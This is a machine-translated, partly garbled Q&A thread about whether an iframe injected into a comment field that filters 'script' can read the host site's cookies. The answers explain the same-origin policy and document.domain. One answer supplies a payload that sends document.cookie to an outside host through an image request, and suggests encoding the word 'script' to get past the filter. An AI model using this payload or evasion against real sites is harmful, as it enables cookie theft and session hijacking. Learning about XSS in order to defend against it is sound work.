Javascript 使用Iframe编写跨站点脚本

Javascript 使用Iframe编写跨站点脚本,javascript,iframe,xss,Javascript,Iframe,Xss,我正在试验跨站点脚本。我有一个网站,允许用户插入评论,并在网站上查看他们。该网站从评论中过滤字符串“script”,但允许使用iframe。我知道我可以嵌入一个iframe,指向我创建的网站,我可以运行任何我想要的脚本。我的问题是:我的iframe脚本是否能够读取原始网站发起的cookie?我尝试了alert(document.cookie),但它显示了一个没有任何内容的警报。但当客户端请求时,原始网站总是设置cookie。你知道我遗漏了什么吗?据我所知,如果iframe的域和原始网站的域不同,

我正在试验跨站点脚本。我有一个网站,允许用户插入评论,并在网站上查看他们。该网站从评论中过滤字符串“script”,但允许使用iframe。我知道我可以嵌入一个iframe,指向我创建的网站,我可以运行任何我想要的脚本。我的问题是:我的iframe脚本是否能够读取原始网站发起的cookie?我尝试了alert(document.cookie),但它显示了一个没有任何内容的警报。但当客户端请求时,原始网站总是设置cookie。你知道我遗漏了什么吗?

据我所知,如果iframe的域和原始网站的域不同,iframe无法访问原始网站,但有。(例如饼干评论


您可能需要使用一些东西,例如……

两个周围的页面需要来自同一个域。这受到同源策略的限制,该策略规定,一个帧中的脚本只能访问另一个帧中的数据,因为它们使用相同的协议,具有完全相同的域名,并且运行在相同的端口上。通过在两个框架中将document.domain设置为顶级域,从而允许子域中的框架进行通信,可以稍微放松

您可以尝试输入,但在较新的浏览器中可能会被阻止


但是,限制脚本不足以停止XSS。还有很多其他的方法。请参阅和

Cookie遵循同一来源策略。因此,如果攻击网站和受害者网站(允许iFrame打开)具有相同的主机,则运行document.cookie时弹出的窗口将包含cookies信息。 因为在你的情况下,他们似乎是不同领域的cookie窃取将是不可能的。
为了防止XSS,更好的方法是使用核心jstl库的C:out标记

您让它听起来像是试图使用cookie作为XSS的有效负载

你真的想偷饼干吗

但是,如果站点允许您插入注释,而只允许删除“脚本”,那么您就可以选择插入XSS,包括coookie脚本

试试这个

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;
但是你想对单词脚本进行编码,这样你就可以试一下了

剧本


或者unicode
73 63 72 69 70 74

要从iframe访问父页面(两个页面位于同一doimain上),请使用
parent
对象,例如
parent.document.cookie
如果我理解正确,则是由子iframe设置document.domain的问题,不是吗 ? (因为在父文档中执行此操作会返回网络错误)